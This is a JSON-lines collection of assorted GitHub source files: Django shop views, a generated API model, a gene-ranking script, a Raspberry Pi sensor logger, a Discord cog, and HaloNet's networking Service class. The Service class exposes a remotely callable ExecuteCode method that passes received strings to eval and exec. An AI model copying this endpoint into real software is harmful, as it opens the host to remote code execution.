)\n","repo_name":"bsalanie/rev1_simuls","sub_path":"rev1_simuls/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39479315575","text":"from django.db.transaction import commit\nfrom django.shortcuts import render , get_object_or_404 , reverse, redirect\nfrom django.views import generic\nfrom django.contrib import messages\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\n#from django.http import HttpResponse\nfrom wsgiref.util import FileWrapper\nfrom django.contrib.auth.mixins import LoginRequiredMixin ,UserPassesTestMixin\n\n\nfrom .models import Products , Comment\nfrom .forms import CommentForm ,ProductSearchForm\nfrom cart.forms import AddToCart\n\n\nclass ProductListView(generic.ListView):\n #model = Products\n queryset = Products.objects.filter(active=True)\n template_name = \"Products/Products_list.html\"\n context_object_name = \"Products\"\n\n\n\nclass ProductDetailVeiw(generic.DetailView):\n model = Products\n template_name = \"Products/Products_detail.html\"\n context_object_name = \"Products\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"comment_forms\"] = CommentForm()\n context[\"add_to_cart_form\"] = AddToCart()\n return context\n\n\nclass CommentCreatView(generic.CreateView):\n model = Comment\n form_class = CommentForm\n\n #def get_success_url(self):\n #return reverse(\"product_list\")\n\n\n def form_valid(self, form):\n obj = form.save(commit=False)\n obj.author = self.request.user\n\n pk = int(self.kwargs[\"pk\"])\n product = get_object_or_404(Products, id=pk)\n obj.product = product\n\n\n messages.success(self.request , \"successfully created\")\n\n return super().form_valid(form)\n\n\n\ndef search_products(request):\n form = ProductSearchForm(request.GET)\n results = []\n\n if form.is_valid():\n search_query = form.cleaned_data['search_query']\n results = Products.objects.filter(\n Q(title__icontains=search_query) | Q(description__icontains=search_query)\n )\n\n return render(request, 'Products/search_results.html', {'form': form, 'results': results})\n\n@login_required\ndef like_product(request, pk):\n product = get_object_or_404(Products, pk=pk)\n user = request.user\n # حذف دیسلایک اگر کاربر محصول را دیسلایک کرده باشد\n if product.is_disliked_by(user):\n product.like_set.filter(user=user, value=False).delete()\n # اضافه یا حذف لایک بسته به وضعیت کنونی\n if product.is_liked_by(user):\n product.like_set.filter(user=user, value=True).delete()\n else:\n product.like_set.create(user=user, value=True)\n # بازگشت به صفحه محصول\n return redirect(\"product_list\")\n\n@login_required\ndef dislike_product(request, pk):\n product = get_object_or_404(Products, pk=pk)\n user = request.user\n # حذف لایک اگر کاربر محصول را لایک کرده باشد\n if product.is_liked_by(user):\n product.like_set.filter(user=user, value=True).delete()\n # اضافه یا حذف دیسلایک بسته به وضعیت کنونی\n if product.is_disliked_by(user):\n product.like_set.filter(user=user, value=False).delete()\n else:\n product.like_set.create(user=user, value=False)\n # بازگشت به صفحه محصول\n return redirect(\"product_list\")\n\n\n\n\nfrom django.http import HttpResponse, HttpResponseServerError, HttpResponseNotFound\nfrom wsgiref.util import FileWrapper\nimport os\n\ndef download_pdf(request):\n filename = 'faults.pdf'\n try:\n file = open(filename, 'rb')\n content = FileWrapper(file)\n response = HttpResponse(content, content_type='application/pdf')\n response['Content-Length'] = os.path.getsize(filename)\n response['Content-Disposition'] = 'attachment; filename=%s' % 'faults.pdf'\n return response\n except (FileNotFoundError, IOError):\n return HttpResponseNotFound(\"File not found or not readable: %s\" % filename)\n except Exception as e:\n return HttpResponseServerError(\"An error occurred: %s\" % str(e))\n\n\nclass ProductsCreateView(LoginRequiredMixin , generic.CreateView):\n\n model = Products\n fields = [\"title\", \"description\", \"price\",\"short_description\",\"image\",\"pdf_file\",]\n template_name = \"products/product_create.html\"\n\n\n","repo_name":"mahdirajabpour7/django_course_online_shop","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70761273448","text":"from typing import Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nT = TypeVar(\"T\", bound=\"SubjectPersonNameType\")\n\n\n@attr.s(auto_attribs=True)\nclass SubjectPersonNameType:\n \"\"\"\n Attributes:\n type (str):\n first_name (str):\n surname (str):\n trade_name (Union[Unset, str]):\n \"\"\"\n\n type: str\n first_name: str\n surname: str\n trade_name: Union[Unset, str] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n type = self.type\n first_name = self.first_name\n surname = self.surname\n trade_name = self.trade_name\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"type\": type,\n \"firstName\": first_name,\n \"surname\": surname,\n }\n )\n if trade_name is not UNSET:\n field_dict[\"tradeName\"] = trade_name\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n type = d.pop(\"type\")\n\n first_name = d.pop(\"firstName\")\n\n surname = d.pop(\"surname\")\n\n trade_name = d.pop(\"tradeName\", UNSET)\n\n subject_person_name_type = cls(\n type=type,\n first_name=first_name,\n surname=surname,\n trade_name=trade_name,\n )\n\n subject_person_name_type.additional_properties = d\n return subject_person_name_type\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"JakubSzwajka/ksef-python-client","sub_path":"ksef_client/ksef_client/models/subject_person_name_type.py","file_name":"subject_person_name_type.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"40248999954","text":"from django.urls import path\n\nfrom geonames.db.create_db import create_db\nfrom geonames.views import *\n\n\napp_name = 'geonames'\n\nurlpatterns = [\n path('geonameid', GeoNamesInfoView.as_view()),\n path('page', GeoNamesPageView.as_view()),\n path('compare', GeoNamesCompareView.as_view()),\n path('hint', GeoNamesHintView.as_view()),\n]\n\n\n","repo_name":"n9t9l119/django-restful-api","sub_path":"geonames/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"sh","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"24451999058","text":"__author__ = 'Mohamed'\nimport numpy as np\nfrom math import sqrt\nfrom scipy.stats.stats import *\nfrom prepare import *\nimport pandas as pd\n\nROWS = 1\nCOLUMNS = 0\n\n\n\n\n\n\ndef dawnDamping(adj,mu=3.0):\n\n matrix = np.matrix(adj)\n links = matrix.sum(axis=COLUMNS)\n dvec = links / (links+mu)\n\n return dvec\n\n\n\n\n\n\n\ndef dawnMatrix(adjMatrix):\n matrix = np.matrix(adjMatrix)\n colsums = matrix.sum(axis=COLUMNS)\n transposed = matrix\n #transitionMatrix = np.transpose((transposed/(colsums+1e-16)))\n intermediate = (colsums + 1e-16)\n transitionMatrix = np.divide(transposed,intermediate)\n return transitionMatrix\n\n\ndef Dawn(adjMatrix,expressionVector,mutationVector,damping,maxit=100,\n epsilon=1e-04,goldStandard=None,patientTag=\"defaultPatient\"):\n\n\n dawnmatrix = dawnMatrix(adjMatrix)\n expressionVector = expressionVector.transpose()\n ranking_T = expressionVector/expressionVector.sum()\n ranking_T = ranking_T.transpose()\n constantTerm = expressionVector/expressionVector.sum()\n tail = (1-damping)\n constantTerm = np.multiply(constantTerm,tail)\n\n capsule = {}\n\n for i in range(1,maxit):\n first = np.multiply(dawnmatrix,ranking_T)\n first = np.diag(first)\n second = np.multiply(first,damping)\n second = second.transpose()\n third = second + constantTerm\n third = np.diag(third)\n third = np.matrix(third)\n ranking_T1 = third.transpose()\n inner = ranking_T1 - ranking_T\n powered = np.power(inner,2)\n mag = sqrt(powered.sum())\n ranking_T = ranking_T1\n print (\"mag : %s\" % mag)\n if mag < epsilon:\n print(\"We are breaking from the loop\")\n break\n\n capsule['Rank'] = ranking_T\n capsule['PercentRank'] = 100.0 * (rankdata(ranking_T) / (len(ranking_T) + 1))\n capsule['isMutated'] = mutationVector\n\n mutatedRanks = []\n\n if mutationVector != None:\n\n if mutationVector.sum() > 0:\n mutatedRanks = (mutationVector == 1.0)\n # mutatedRanks = mutatedRanks[:,-3]\n else:\n mutatedRanks = [0.0 for x in range(len(mutationVector))]\n\n\n return {'summaryOutput':capsule , 'mutatedRanks' : mutatedRanks}\n\n\n\n\n\ndef main():\n\n adjfile = open('/home/snouto/Desktop/adjmatrixPickled.bin','rb')\n expressionfile = open('/home/snouto/Desktop/expressionData.bin','rb')\n adjmatrix = pickle.load(adjfile)\n adjacencymatrix = [[float(x) for x in list] for list in adjmatrix]\n adjacencymatrix = np.matrix(adjacencymatrix)\n expressionMatrix = pickle.load(expressionfile)\n expressionMatrix = [[float(x) for x in list] for list in expressionMatrix]\n expressionMatrix = np.matrix(expressionMatrix)\n expressionVector = expressionMatrix[:,0]\n\n adjmatrix = np.matrix(adjmatrix)\n expressionMatrix = np.matrix(expressionMatrix)\n expressionVector = expressionMatrix[:,0]\n damping = dawnDamping(adjmatrix)\n\n dawn = Dawn(adjmatrix,expressionVector,None,damping)\n\n print (dawn)\n\n return dawn\n\n\n\nif __name__ =='__main__':\n main()\n\n","repo_name":"snouto/Cliniome","sub_path":"dawn.py","file_name":"dawn.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74206858728","text":"from glob import glob\n\n\n\ndef analyse(file_names):\n score_dict = {}\n for filename in file_names:\n task_name = filename.split(\"/\")[-1]\n total_examples = 0\n masked_examles =0\n total_masked_words = 0\n total_words = 0\n with open(filename) as in_file:\n lines = in_file.readlines()\n total_examples = len(lines)/3\n for idx in range(0,len(lines),3):\n masked_count = 0\n masked_line = lines[idx+1].strip().lower()\n words_count = len(masked_line.split())\n for word in masked_line.split():\n if word=='[mask]':\n masked_count +=1\n if masked_count!=0:\n masked_examles +=1\n total_words += words_count\n total_masked_words += masked_count\n score_dict[task_name] = {\"total_example\": total_examples,\"masked_exampls\":masked_examles,\"total_words\":total_words,\"total_masked_words\": total_masked_words}\n for task_name in sorted(score_dict.keys()):\n scores = score_dict[task_name]\n print(\"{}\".format(task_name))\n _ = [ print(\"{}:{}\\n\".format(k,v)) for k,v in scores.items()]\n\n\n\n\n\n\n\nif __name__==\"__main__\":\n file_names = glob(\"./fewshot_mams_1/*\")\n analyse(file_names)\n","repo_name":"BinLiang-NLP/FSACSA","sub_path":"masked_feature/mask_feature_satistics.py","file_name":"mask_feature_satistics.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"71873459687","text":"import argparse\nimport os\nimport sys\nimport signal\nfrom functools import partial\nfrom time import time\n\nimport psutil\n\nfrom Core.CommandLine import CommandLine\nfrom Core import ERROR_MSG, WARN_MSG, Log\nfrom Core import INFO_MSG\nfrom Core.Access import Access, AccessLevel\nfrom Core.AsyncObj import AsyncObj\nfrom Core.ConfigSystem.AppsConfig import UE4AppConfigBase\nfrom Core.ConfigSystem.Bases import Configuration, AppConfig, AppConfigType, AppKind, ConfigGlobals\nfrom Core.Declarators.Specs import CaptureConnection, Exposed\nfrom Core.Declarators.rmi import rmi\nfrom Core.Entity import Entity\nfrom Core.ExceptionsRegistry import NetException\nfrom Core.GlobalManagers import EntitiesDispatcher\nfrom Core.LocalDatatypes import int32, FString\nfrom Core.TCP.TestProtocolClient import TCPClient, create_connection\nfrom Core.TCP.TestProtocolServer import create_server\nfrom Core.ClientConnectionHandler import ClientConnectionHandler\nfrom Core.Globals import Globals\nimport subprocess\n\nimport asyncio\n\nfrom Core.Utils import is_valid, get_retcode_descr\n\n\nclass WakeupError(NetException):\n pass\n\n\nclass Service(Entity):\n is_main_entity = True\n is_exposed = False\n entity_type = \"service\"\n context_name = \"unknown\"\n\n endpoint = \"0.0.0.0\", 9900\n\n child_service_port_start = 9090\n max_services = 10 # unused\n max_dedicated_servers = 4\n\n @property\n def entities(self):\n return EntitiesDispatcher().entities\n\n def next_port(self):\n r = self.next_service_port\n self.next_service_port += 1\n return r\n\n def get_region(self):\n return CommandLine.get_arguments().region\n\n async def __ainit__(self):\n await super().__ainit__()\n self.started_time = time()\n args = self.get_args()\n\n self.next_service_port = self.child_service_port_start\n\n cls_name = self.__class__.__name__\n\n config: AppConfigType = Configuration()[cls_name]\n\n if not config:\n ERROR_MSG(\"Failed to read config! There is no section for %s\" % cls_name)\n self.config = config\n\n Globals.no_logging = self.config.DisableLog\n\n # INFO_MSG('~')\n if self.config.Kind in [AppKind.Single, AppKind.Static]:\n self.endpoint = self.config.get_endpoint()\n self.exposed_ip = self.config.get_exposed_ip()\n\n # INFO_MSG(\"Test\")\n if args.service_port is not None:\n self.endpoint = self.endpoint[0], args.service_port\n\n # ERROR_MSG(f\"T {args.causer_exposed_ip}\")\n if not args.causer_exposed_ip or args.causer_exposed_ip == '0.0.0.0':\n try:\n self.exposed_ip = self.config.get_exposed_ip()\n except NotImplementedError:\n self.exposed_ip = '...'\n\n serving = not self.config.NoServer\n self.tcp_server = await create_server(self.endpoint, serving)\n\n Globals.disabled_log_categories = ConfigGlobals.DisabledLogs\n\n if not self.get_args().silent:\n INFO_MSG(\"%s started! with %s\" % (cls_name, self.get_args()))\n INFO_MSG(\"%s started at %s (%s)\" % (cls_name, self.endpoint if serving else \"None\", self.get_region()))\n INFO_MSG(\"Version: %s, generator signature: %s\" % (Globals.version, Globals.generator_signature))\n INFO_MSG(\"Description: %s\" % self.config.Description)\n\n self.processes = dict()\n\n self.postfix = self.get_args().postfix\n\n if args.causer_exposed_ip and args.causer_exposed_ip != '0.0.0.0':\n self.exposed_ip = args.causer_exposed_ip\n INFO_MSG(f\"Causer exposed {self.exposed_ip}\")\n\n await self.start()\n\n self.dedicated_servers = list()\n\n if args.causer_ip is not None and args.causer_port is not None:\n INFO_MSG(f\"Call to causer: {args.causer_ip}:{args.causer_port}\")\n mbox = await Service.make_mailbox(\"base\", \"Service\", (args.causer_ip, args.causer_port))\n await mbox.TellPID(os.getpid())\n # ERROR_MSG(f\"{self.exposed_ip}\")\n\n def terminate(self):\n INFO_MSG(f\"Service {self.get_class_name()} going to be stopped\")\n\n def on_terminate(proc):\n process_info = self.processes.get(proc.pid)\n status = proc.status()\n WARN_MSG(\"Process did't terminated after timeout. pid: %s, status: %s, info: %s\", proc.pid, status, process_info)\n\n processes = []\n for pid, info in self.processes.items():\n process = psutil.Process(pid)\n processes.append(process)\n process.terminate()\n INFO_MSG(f\"Service {self.get_class_name()}. Send terminate to {info['name']}, status: {process.status()}, pid_exists: {psutil.pid_exists(pid)}\")\n\n if processes:\n try:\n from time import sleep\n # sleep(5)\n # for i in processes:\n # INFO_MSG(f\"1 Service {self.get_class_name()}. -- {i.pid} --, status: {i.status()}, pid_exists: {psutil.pid_exists(i.pid)}\")\n gone, alive = psutil.wait_procs([i for i in processes if i.status() != psutil.STATUS_ZOMBIE], timeout=60, callback=on_terminate)\n # todo: Some strange sings here\n except Exception as e:\n WARN_MSG(f\"Service {self.get_class_name()} exception {e}\")\n INFO_MSG(f\"Service {self.get_class_name()} is stopped\")\n sys.exit(0)\n\n def time(self):\n return time() - 1_493_121_313.74268 # уменьшаем\n\n async def start(self):\n \"\"\" Вызывается при готовности работы сервиса \"\"\"\n\n async def done(self):\n pass\n\n def sigterm_handler(self, signal, frame):\n INFO_MSG(f\"sigterm_handler {self.get_class_name()} going to be stopped\")\n self.terminate()\n\n @classmethod\n def __run__(cls, *args, **kwargs):\n Globals.access_token = Access().register_access(\"SUPER INTERNAL ACCESS\", AccessLevel.Internal)\n Globals.service_name = cls.__name__ + CommandLine.get_arguments().postfix\n service_instance = cls(*args, **kwargs)\n Globals.this_service = service_instance\n\n signal.signal(signal.SIGTERM, service_instance.sigterm_handler)\n # signal.signal(signal.SIGBREAK, service_instance.sigterm_handler)\n signal.signal(signal.SIGINT, service_instance.sigterm_handler)\n\n try:\n asyncio.get_event_loop().run_until_complete(service_instance) # this calls __await__\n asyncio.get_event_loop().run_until_complete(service_instance.done())\n asyncio.get_event_loop().run_forever()\n except KeyboardInterrupt:\n INFO_MSG(\"Preparing to shut down service...\")\n except Exception as exc:\n from traceback import print_exc\n ERROR_MSG(\"Exception raised:\", exc)\n print_exc()\n INFO_MSG(\"Press enter to continue\")\n input()\n print(\"What's your name?\\n> \", end=\"\")\n name = input()\n print(f\"{name}, how did you come to this?\\n> \", end=\"\")\n reason = input()\n WARN_MSG(f'The program has been stopped, the {name} provoked an error, and says: \"{reason}\". Dismiss him')\n\n async def create_client_connection(self, endpoint, on_lost=None):\n INFO_MSG(f\"{endpoint}\")\n if endpoint not in self.tcp_server.clients:\n _, connection = await create_connection(endpoint, on_lost=on_lost)# await TCPClient(endpoint, ClientConnectionHandler, do_open_connection=True)\n if is_valid(connection):\n self.tcp_server.clients[endpoint] = connection\n connection.add_lost_callback(partial(self.on_lost_client, endpoint))\n return connection\n else:\n self.tcp_server.clients[endpoint].add_lost_callback(on_lost)\n connection = self.tcp_server.clients[endpoint]\n connection.add_lost_callback(partial(self.on_lost_client, endpoint))\n if not is_valid(connection):\n del self.tcp_server.clients[endpoint]\n return connection\n\n def on_lost_client(self, endpoint, connection):\n if endpoint in self.tcp_server.clients:\n del self.tcp_server.clients[endpoint]\n\n async def stop(self):\n await self.tcp_server.close()\n # await self.service_future.stop()\n asyncio.get_event_loop().stop()\n # asyncio.get_event_loop().call_soon_threadsafe(asyncio.get_event_loop().close)\n\n def get_args(self):\n return CommandLine.get_arguments()\n\n def open_process(self, service_path, arguments=list(), is_python_process=True, extented_param=None, **kwargs):\n cmd_kwargs = list()\n\n kwargs['no_color_patterns'] = CommandLine.get_arguments().no_color_patterns\n\n for key, value in kwargs.items():\n if CommandLine.has_arg(key):\n arg_type = CommandLine.get_arg_type(key)\n kwarg = \"-%s=%s\" % (key, arg_type(value))\n cmd_kwargs.append(kwarg)\n else:\n ERROR_MSG(\"Unable to pass %s parameter, not exists in CommandLine.py: Arguments class\" % key)\n\n # cmd_kwargs = [\"-%s=%s\" % (key, value) for key, value in kwargs.items()]\n cmd_args = list()\n python_executable_name = ConfigGlobals.PythonExecutable\n if is_python_process:\n cmd_args.append(python_executable_name)\n cmd_args.extend(service_path) if isinstance(service_path, list) else cmd_args.append(service_path)\n if extented_param is not None:\n cmd_args.append(extented_param)\n cmd_args.extend(cmd_kwargs)\n cmd_args.extend(arguments)\n\n process = subprocess.Popen(cmd_args, shell=False)\n\n INFO_MSG(f\"Opening process {process.pid}\", cmd_args)\n # print(cmd_args)\n return process\n\n @rmi(CaptureConnection, Exposed, access=0)\n async def TellPID(self, connection, pid: int32):\n \"\"\"\n Сообщить PID этому сервису\n @param pid: идентификатор процесса\n \"\"\"\n if pid in self.processes and not self.processes[pid]['future'].done():\n INFO_MSG(f\"{connection} ({self.processes[pid]['name']}) tells pid {pid} in {round(time() - self.processes[pid]['opened_at'], 6)} seconds\")\n self.processes[pid]['future'].set_result( await self.create_client_connection(self.processes[pid]['endpoint']) )\n else:\n ERROR_MSG(\"Failed to tell PID! \"\n f\"There are no processes runned with pid {pid} or this process already told PID.\"\n \"Probably you run process which lanuched child process (be sure if this is UE4 dedicated server, \"\n \"check the right path, not a PROJECTNAME.exe in root dir)\")\n\n async def async_wakeup_service_locally(self, service_path, arguments, port, is_python_process=True, index=0, name=None):\n INFO_MSG(f\"{service_path}, {arguments}, {port}, {is_python_process}, {index}, {name}\")\n if arguments is None:\n arguments = dict()\n access_token = Access().generate(AccessLevel.Internal)\n\n # WARN_MSG(f\"Opening (causer {self.exposed_ip}\")\n proc = self.open_process(service_path, is_python_process=is_python_process,\n service_port=port,\n causer_ip=self.endpoint[0],\n causer_exposed_ip=self.exposed_ip,\n causer_port=self.endpoint[1],\n postfix=('[%i]' % index) if index else \"\",\n region=self.config.get_region(),\n **arguments,\n\n access_token=access_token,\n is_child_process=True)\n future_data = self.processes[proc.pid] = {\n 'future': asyncio.Future(loop=asyncio.get_event_loop()),\n 'endpoint': (self.endpoint[0], port),\n 'opened_at': time(),\n 'name': name\n }\n\n try:\n service_connection = await future_data['future']\n except Exception as e:\n ERROR_MSG(\"Something went wrong in future\", e)\n return None\n\n return service_connection, proc\n\n async def async_wakeup_dedicated_server_locally(self, service_path, map_name, base_ip, base_port, ue4_arguments, arguments, keyword_arguments, port, is_python_process=True, index=0, name=None):\n if len(self.dedicated_servers) >= self.max_dedicated_servers:\n raise WakeupError(\"Unable to wakeup dedicated server. Out of limit\")\n\n if keyword_arguments is None:\n keyword_arguments = dict()\n\n extented_param = None\n if ue4_arguments is not None:\n extented_param = map_name\n for idx, (key, value) in enumerate(ue4_arguments.items()):\n extented_param += (\"?\" if idx == 0 else \"&\") + \"%s=%s\" % (key, value)\n\n INFO_MSG(\"Opening '%s' '%s'\" % (service_path, extented_param))\n\n access_token = Access().generate(AccessLevel.Internal)\n custom_local_network_version = Configuration()['UE4App'].CustomLocalNetworkVersion\n custom_local_network_version = custom_local_network_version if custom_local_network_version else 0\n\n proc = self.open_process(service_path, is_python_process=is_python_process,\n service_port=port,\n causer_exposed_ip=self.exposed_ip,\n causer_ip=self.endpoint[0],\n causer_port=self.endpoint[1],\n base_ip=base_ip,\n base_port=base_port,\n postfix=('[%i]' % index) if index else \"[0]\",\n local_network_version=custom_local_network_version,\n arguments=arguments,\n **keyword_arguments,\n\n access_token=access_token,\n is_child_process=True,\n extented_param=extented_param)\n future_data = self.processes[proc.pid] = {'future': asyncio.Future(loop=asyncio.get_event_loop()),\n 'endpoint': (self.endpoint[0], port),\n 'opened_at': time(),\n 'name': name}\n\n try:\n service_connection = await future_data['future']\n self.dedicated_servers.append(service_connection)\n service_connection.add_lost_callback(lambda conn: self.dedicated_servers.remove(conn))\n INFO_MSG(\"Total dedicated servers %i\" % len(self.dedicated_servers))\n except Exception as e:\n ERROR_MSG(\"Something went wrong in future\", e)\n return None\n\n return service_connection, proc\n\n def on_service_connection_lost(self, process: subprocess.Popen, connection):\n try:\n process.wait(1.0)\n except subprocess.TimeoutExpired:\n WARN_MSG(f\"Something went wrong with process {process.pid}. Timeout expired\")\n return\n\n if process.returncode:\n WARN_MSG(f\"Process {process.pid} has been disconnected with return code {process.returncode} ({get_retcode_descr(process.returncode)}) \")\n else:\n WARN_MSG(f\"Process {process.pid} just disconnected\")\n\n async def async_wakeup_service_locally_by_name(self, service_name, arguments=None, port=0, index=0):\n service_config: AppConfigType = Configuration()[service_name]\n if port == 0:\n if service_config.Kind in [AppKind.Static, AppKind.Single]:\n port = service_config.get_endpoint()[1]\n else:\n port = self.next_port()\n\n if service_config is not None:\n path = service_config.Path\n is_python_service = not service_config.NoPython\n if path is None:\n path = service_name + \".py\"\n connection, process = await self.async_wakeup_service_locally(path, arguments, port=port, is_python_process=is_python_service, index=index, name=service_name)\n connection.add_lost_callback(partial(self.on_service_connection_lost, process))\n mailbox = await Service.make_mailbox('base', \"Service\", connection)\n mailbox.set_service_info(service_name)\n return mailbox, process.pid\n\n async def async_wakeup_dedicated_server_locally_by_name(self, service_name, map_name, base_ip, base_port, ue4_arguments=None, keyword_arguments=None, port=0, index=0):\n service_config: UE4AppConfigBase = Configuration()[service_name]\n if service_config is not None:\n path = service_config.Path\n is_python_service = not service_config.NoPython\n arguments = service_config.Args\n if path is None:\n path = service_name + \".py\"\n connection, process = await self.async_wakeup_dedicated_server_locally(path, map_name, base_ip, base_port, ue4_arguments, arguments, keyword_arguments, port=port, is_python_process=is_python_service, index=index, name=service_name)\n connection.add_lost_callback(partial(self.on_service_connection_lost, process))\n mailbox = await Service.make_mailbox('ue4', \"Service\", connection)\n mailbox.set_service_info(service_name)\n return mailbox, process.pid\n\n async def get_single_service(self, service_name):\n service_config: AppConfigType = Configuration()[service_name]\n mailbox = await Service.make_mailbox(service_config.Context, service_name, service_config.Endpoint)\n return mailbox\n\n @rmi(access=2)\n def Terminate(self):\n \"\"\" Завершить процесс \"\"\"\n asyncio.get_event_loop().call_soon(self.terminate)\n\n @rmi(access=2)\n async def ExecuteCode(self, code_string: FString) -> FString:\n \"\"\"\n Выполнить произвольный код \n @param code_string: строка кода\n @return: результат выполнения кода\n \"\"\"\n code_string = code_string.replace(\"$$20\", \"\\n\")\n try:\n result = eval(code_string)\n return str(result).replace(\"<\", \"<\").replace(\">\", \">\")\n except Exception as e:\n try:\n code = compile(code_string, \"\", 'exec')\n exec(code)\n except Exception as e:\n from traceback import print_exc, format_exc\n # print_exc()\n return format_exc()\n\n return \"\"\n","repo_name":"broly/HaloNet","sub_path":"HaloNet/System/Core/Service.py","file_name":"Service.py","file_ext":"py","file_size_in_byte":18735,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"41818840847","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nshoes = int(input())\nsizes = input().split()\ncustomers = int(input())\nearnings = 0\n\nfor i in range(customers):\n offer = input().split()\n if offer[0] in sizes:\n earnings += int(offer[1])\n sizes.remove(offer[0])\n \nprint(earnings)\n\n","repo_name":"JakubTomaszewski/HackerRank","sub_path":"collectionsCounter.py","file_name":"collectionsCounter.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5134514572","text":"# declare libraries\nimport RPi.GPIO as GPIO\nimport smbus\nimport Adafruit_DHT\nimport sqlite3\nimport requests\nimport json\nimport time\nfrom datetime import datetime\nfrom api import ip_address, moisture_analog_wet, moisture_analog_dry\n\n# declare sensor type\nDHT_sensor = Adafruit_DHT.DHT11\n\n# declare raspberry pi i2c address\naddress = 0x48\n\n# declare GPIO mode\nGPIO.setmode(GPIO.BOARD)\n\n# declare pin GPIO\nsoil_moisture = 11\n#water_pump = 12\nDHT = 17\n\n# setup GPIO type\nGPIO.setup(soil_moisture, GPIO.IN)\n#GPIO.setup(water_pump, GPIO.OUT)\n\n# declare DB name\ndbname='sensors_data.db'\n\n# declare logging frequency\nlogging_frequency = 1*60\n \n# get raw data from DHT sensor\ndef getData():\n \n # get humidity and temperature data from digital sensor\n humidity, temperature = Adafruit_DHT.read_retry(DHT_sensor, DHT)\n\n # get reservoir level from analog sensor \n \n bus = smbus.SMBus(1)\n reservoir = bus.read_byte_data(address,0)\n bus.close()\n # get soil moisture level from analog sensor \n \n bus = smbus.SMBus(1)\n moisture = bus.read_byte_data(address,1)\n bus.close()\n \n # get lighting level from analog sensor\n bus = smbus.SMBus(1)\n sunlight = bus.read_byte_data(address,2)\n bus.close()\n\n \n return moisture,temperature,humidity,sunlight,reservoir\n\n# log data with no processing\ndef logData(moisture,temperature,humidity,sunlight,reservoir):\n \n dt = datetime.today().strftime('%d-%m-%Y %H:%M:%S')\n conn=sqlite3.connect(dbname)\n curs=conn.cursor()\n curs.execute(\"INSERT INTO sensors_data (timestamp,moisture,temperature,humidity,sunlight,reservoir) VALUES ((?), (?), (?), (?), (?), (?))\", (dt,moisture,temperature,humidity,sunlight,reservoir))\n conn.commit()\n conn.close()\n\n# running function\ntry:\n \n while True:\n \n \n moisture,temperature,humidity,sunlight,reservoir = getData()\n \n # workaround smbus issue where reservoir data will overwrite the rest\n while (reservoir == moisture or reservoir == sunlight):\n moisture,temperature,humidity,sunlight,reservoir = getData() \n print(\"R: \",reservoir, \" M: \", moisture, \" S: \", sunlight)\n logData(moisture,temperature,humidity,sunlight,reservoir)\n \n response_watering = requests.post(url='http://' + ip_address + ':8087/auto_water_plant',data=json.dumps({'moisture': moisture, 'reservoir': reservoir}))\n result_watering = response_watering.json()\n \n response_fertilising = requests.post(url='http://' + ip_address + ':8087/auto_fertiliser')\n result_fertilising = response_fertilising.json()\n \n response_notification = requests.post(url='http://' + ip_address + ':8087/send_notification',data=json.dumps({'reservoir': reservoir}))\n result_notification = response_notification.json()\n \n print(\"Status for Watering \",result_watering['status'],\"-\", result_watering['data'])\n print(\"Status for Fertilising \",result_fertilising['status'],\"-\", result_fertilising['data'])\n print(\"Status for Notification \",result_notification['status'],\"-\", result_notification['data'])\n \n time.sleep(logging_frequency) \n \nfinally:\n \n GPIO.cleanup() \n","repo_name":"GanJL/cs460-g1t4","sub_path":"server/dataLogging.py","file_name":"dataLogging.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42389357632","text":"import discord\nfrom discord.ext import commands\n\nimport json\n\n\nclass GuildFunctions(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.command(aliases=[\"changeprefix\"])\n @commands.has_role(\"Moderators\")\n async def change_prefix(self, ctx, prefix):\n with open('cogs/prefixes.json', 'r') as f:\n prefixes = json.load(f)\n\n if len(prefix) == 1:\n prefixes[str(ctx.guild.id)] = prefix\n else:\n await ctx.send(\"You can't put a prefix that's more than one character!\")\n\n with open('cogs/prefixes.json', 'w') as f:\n json.dump(prefixes, f, indent=4)\n embed = discord.Embed(\n description=f\"The changed prefix is: {prefixes[str(ctx.guild.id)]}\",\n colour=discord.Colour.purple()\n )\n await ctx.send(embed=embed)\n\n @commands.command(aliases=[\"addrole\"])\n @commands.has_role(\"Moderators\")\n # The * causes role to hold the user input text after the member name, including any interior whitespace.\n # This lets the user write the following to add the \"My Little Pony\" role to hogarth: .addrole @hogarth My Little Pony\n async def add_roles(self, 